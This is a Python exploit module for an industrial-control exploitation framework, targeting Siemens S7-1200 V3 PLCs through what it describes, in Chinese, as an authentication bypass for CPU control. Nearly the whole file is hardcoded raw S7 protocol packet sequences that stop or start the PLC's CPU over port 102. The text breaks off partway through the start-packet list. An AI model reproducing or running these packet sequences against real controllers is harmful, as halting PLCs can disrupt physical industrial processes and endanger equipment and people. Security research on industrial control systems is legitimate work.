#!/usr/bin/env python
# coding=utf-8

from scapy.all import *
from core.exploit import *
from s7.plc import *


class MyScript(BaseExploit):
    register_info = {
		'ID' : 'ICF-2017-00010002',
        'Name' : '西门子 S7-1200 V3 PLC CPU控制',
		'Author' : 'w3h',
		'License': ISF_LICENSE,
        'Create_Date' : '2016-04-09',
        'Description' : '''西门子 S7-1200 V3 PLC的CPU控制指定验证机制存在绕过漏洞，导致攻击者可以向PLC发送CPU控制指令。''',

        'Vendor' : VENDOR.SI,
        'Device' : ['S7-1200'],
        'App' : '',
        'Protocol' : 's7',
        'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''},

        'Risk' : RISK.H, #H/M/L
        'VulType' : VULTYPE.REP
    }

    register_options = [
		mkopt_rport(102),
		mkopt('--Command', action='store', dest='Command', type='string',
            default="stop", help='The cpu control cmd [stop/start].'),
    ]

    def exploit(self, *args, **kwargs):
        stop_cpu_pkt = [
			"\x03\x00\x00\x16\x11\xe0\x00\x00" +
			"\x00\x3a\x00\xc1\x02\x06\x00\xc2" +
			"\x02\x06\x00\xc0\x01\x0a",

			"\x03\x00\x00\xad\x02\xf0\x80\x72" +
			"\x01\x00\x9e\x31\x00\x00\x04\xca" +
			"\x00\x00\x00\x01\x00\x00\x01\x20" +
			"\x30\x00\x00\x01\x1d\x00\x04\x00" +
			"\x00\x00\x00\x00\xa1\x00\x00\x00" +
			"\xd3\x82\x1f\x00\x00\xa3\x81\x69" +
			"\x00\x15\x16\x53\x65\x72\x76\x65" +
			"\x72\x53\x65\x73\x73\x69\x6f\x6e" +
			"\x5f\x38\x43\x33\x32\x38\x46\x37" +
			"\x32\xa3\x82\x21\x00\x15\x00\xa3" +
			"\x82\x28\x00\x15\x00\xa3\x82\x29" +
			"\x00\x15\x00\xa3\x82\x2a\x00\x15" +
			"\x09\x50\x4c\x43\x54\x45\x53\x54" +
			"\x45\x52\xa3\x82\x2b\x00\x04\x01" +
			"\xa3\x82\x2c\x00\x12\x01\xc9\xc3" +
			"\x80\xa3\x82\x2d\x00\x15\x00\xa1" +
			"\x00\x00\x00\xd3\x81\x7f\x00\x00" +
			"\xa3\x81\x69\x00\x15\x15\x53\x75" +
			"\x62\x73\x63\x72\x69\x70\x74\x69" +
			"\x6f\x6e\x43\x6f\x6e\x74\x61\x69" +
			"\x6e\x65\x72\xa2\xa2\x00\x00\x00" +
			"\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x02\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x01\x9a\x7b" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x03\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x20\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x04\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x31\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x05\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x06\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x33\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x07\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x08\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x40\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x09\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x08\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0a\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x07\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0b\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x21\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0c\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x41\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x0d\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x20\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x0e\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x31\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x0f\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x10\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x33\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x11\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x12\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x40\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x13\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x08\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x14\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x07\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x15\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x21\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x16\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x41\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x2b\x02\xf0\x80\x72" +
			"\x01\x00\x1c\x31\x00\x00\x04\xbb" +
			"\x00\x00\x00\x17\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x08\x00\x00\x01" +
			"\x01\x00\x00\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\xa3\x02\xf0\x80\x72" +
			"\x01\x00\x94\x31\x00\x00\x04\xca" +
			"\x00\x00\x00\x18\x00\x00\x03\x84" +
			"\x30\x00\x00\x03\x85\x00\x04\x00" +
			"\x00\x00\x00\x00\xa1\x4e\x00\x00" +
			"\x00\x87\x69\x00\x00\xa3\x81\x69" +
			"\x00\x15\x17\x53\x75\x62\x73\x63" +
			"\x72\x69\x70\x74\x69\x6f\x6e\x5f" +
			"\x31\x33\x30\x38\x36\x32\x32\x38" +
			"\x34\x38\xa3\x87\x6a\x00\x03\x00" +
			"\x00\xa3\x87\x6b\x00\x09\x00\xa3" +
			"\x88\x10\x00\x02\x02\xa3\x88\x11" +
			"\x00\x01\x01\xa1\x4e\x00\x00\x02" +
			"\x94\x66\x00\x00\xa3\x81\x69\x00" +
			"\x15\x00\xa3\x87\x6d\x00\x02\x02" +
			"\xa3\x94\x63\x10\x03\x0a\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\xa4\x94\x64\x00\x00\x00" +
			"\x08\xa2\xa2\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x43\x02\xf0\x80\x72" +
			"\x01\x00\x34\x31\x00\x00\x04\xf2" +
			"\x00\x00\x00\x19\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x01\x90\x77" +
			"\x00\x08\x01\x00\x00\x04\xe8\x89" +
			"\x69\x00\x12\x00\x00\x00\x00\x89" +
			"\x6a\x00\x13\x00\x89\x6b\x00\x04" +
			"\x00\x00\x00\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x3d\x02\xf0\x80\x72" +
			"\x01\x00\x2e\x31\x00\x00\x04\xd4" +
			"\x00\x00\x00\x1a\x00\x00\x03\x84" +
			"\x30\x4e\x00\x00\x00\x00\x00\x00" +
			"\x04\xe8\x89\x69\x00\x12\x00\x00" +
			"\x00\x00\x89\x6a\x00\x13\x00\x89" +
			"\x6b\x00\x04\x00\x00\x00\x00\x00" +
			"\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x3d\x02\xf0\x80\x72" +
			"\x01\x00\x2e\x31\x00\x00\x04\xd4" +
			"\x00\x00\x00\x1b\x00\x00\x03\x84" +
			"\x30\x00\x00\x03\x84\x00\x00\x00" +
			"\x04\xe8\x89\x69\x00\x12\x00\x00" +
			"\x00\x00\x89\x6a\x00\x13\x00\x89" +
			"\x6b\x00\x04\x00\x00\x00\x00\x00" +
			"\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x07\x02\xf0\x00"
		]

        start_cpu_pkt = [
			"\x03\x00\x00\x16\x11\xe0\x00\x00" +
			"\x00\x42\x00\xc1\x02\x06\x00\xc2" +
			"\x02\x06\x00\xc0\x01\x0a",

			"\x03\x00\x00\xad\x02\xf0\x80\x72" +
			"\x01\x00\x9e\x31\x00\x00\x04\xca" +
			"\x00\x00\x00\x01\x00\x00\x01\x20" +
			"\x30\x00\x00\x01\x1d\x00\x04\x00" +
			"\x00\x00\x00\x00\xa1\x00\x00\x00" +
			"\xd3\x82\x1f\x00\x00\xa3\x81\x69" +
			"\x00\x15\x16\x53\x65\x72\x76\x65" +
			"\x72\x53\x65\x73\x73\x69\x6f\x6e" +
			"\x5f\x34\x46\x32\x44\x42\x37\x32" +
			"\x44\xa3\x82\x21\x00\x15\x00\xa3" +
			"\x82\x28\x00\x15\x00\xa3\x82\x29" +
			"\x00\x15\x00\xa3\x82\x2a\x00\x15" +
			"\x09\x50\x4c\x43\x54\x45\x53\x54" +
			"\x45\x52\xa3\x82\x2b\x00\x04\x01" +
			"\xa3\x82\x2c\x00\x12\x01\xc9\xc3" +
			"\x80\xa3\x82\x2d\x00\x15\x00\xa1" +
			"\x00\x00\x00\xd3\x81\x7f\x00\x00" +
			"\xa3\x81\x69\x00\x15\x15\x53\x75" +
			"\x62\x73\x63\x72\x69\x70\x74\x69" +
			"\x6f\x6e\x43\x6f\x6e\x74\x61\x69" +
			"\x6e\x65\x72\xa2\xa2\x00\x00\x00" +
			"\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x02\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x01\x9a\x7b" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x03\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x31\x01\x9d\x29" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x04\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x20\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x05\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x31\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x06\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x07\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x33\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x08\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x09\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x40\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0a\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x08\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0b\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x07\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0c\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x21\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0d\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x41\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x27\x02\xf0\x80\x72" +
			"\x01\x00\x18\x31\x00\x00\x05\x24" +
			"\x00\x00\x00\x0d\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x41\x91\x5e\x00" +
			"\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x0e\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x20\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x0f\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x31\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x10\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x32\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x11\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x33\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x12\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x34\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x13\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x40\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x14\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x08\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x15\x00\x00\x03\x84" +
			"\x30\x88\xe1\x00\x07\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x16\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x21\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x17\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x41\x04\x04\x91" +
			"\x3d\x9c\x68\x9c\x67\x81\x69\x00" +
			"\x00\x04\xe8\x89\x69\x00\x12\x00" +
			"\x00\x00\x00\x89\x6a\x00\x13\x00" +
			"\x89\x6b\x00\x04\x00\x00\x00\x00" +
			"\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x2b\x02\xf0\x80\x72" +
			"\x01\x00\x1c\x31\x00\x00\x04\xbb" +
			"\x00\x00\x00\x18\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x08\x00\x00\x01" +
			"\x01\x00\x00\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\xa3\x02\xf0\x80\x72" +
			"\x01\x00\x94\x31\x00\x00\x04\xca" +
			"\x00\x00\x00\x19\x00\x00\x03\x84" +
			"\x30\x00\x00\x03\x85\x00\x04\x00" +
			"\x00\x00\x00\x00\xa1\x5d\x00\x00" +
			"\x00\x87\x69\x00\x00\xa3\x81\x69" +
			"\x00\x15\x17\x53\x75\x62\x73\x63" +
			"\x72\x69\x70\x74\x69\x6f\x6e\x5f" +
			"\x31\x35\x36\x30\x32\x38\x31\x30" +
			"\x38\x38\xa3\x87\x6a\x00\x03\x00" +
			"\x00\xa3\x87\x6b\x00\x09\x00\xa3" +
			"\x88\x10\x00\x02\x02\xa3\x88\x11" +
			"\x00\x01\x01\xa1\x5d\x00\x00\x02" +
			"\x94\x66\x00\x00\xa3\x81\x69\x00" +
			"\x15\x00\xa3\x87\x6d\x00\x02\x02" +
			"\xa3\x94\x63\x10\x03\x0a\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\x00\x00\x00\x00\x00\x00" +
			"\x00\x00\xa4\x94\x64\x00\x00\x00" +
			"\x08\xa2\xa2\x00\x00\x00\x00\x72" +
			"\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x40\x02\xf0\x80\x72" +
			"\x01\x00\x31\x31\x00\x00\x04\xfc" +
			"\x00\x00\x00\x1a\x00\x00\x03\x84" +
			"\x30\x00\x00\x00\x22\x01\x93\x11" +
			"\x00\x00\x04\xe8\x89\x69\x00\x12" +
			"\x00\x00\x00\x00\x89\x6a\x00\x13" +
			"\x00\x89\x6b\x00\x04\x00\x00\x00" +
			"\x00\x00\x00\x00\x72\x01\x00\x00",

			"\x03\x00\x00\x07\x02\xf0\x00",

			"\x03\x00\x00\x46\x02\xf0\x80\x72" +
			"\x01\x00\x37\x31\x00\x00\x05\x4c" +
			"\x00\x00\x00\x1b\x00\x00\x03\x84" +
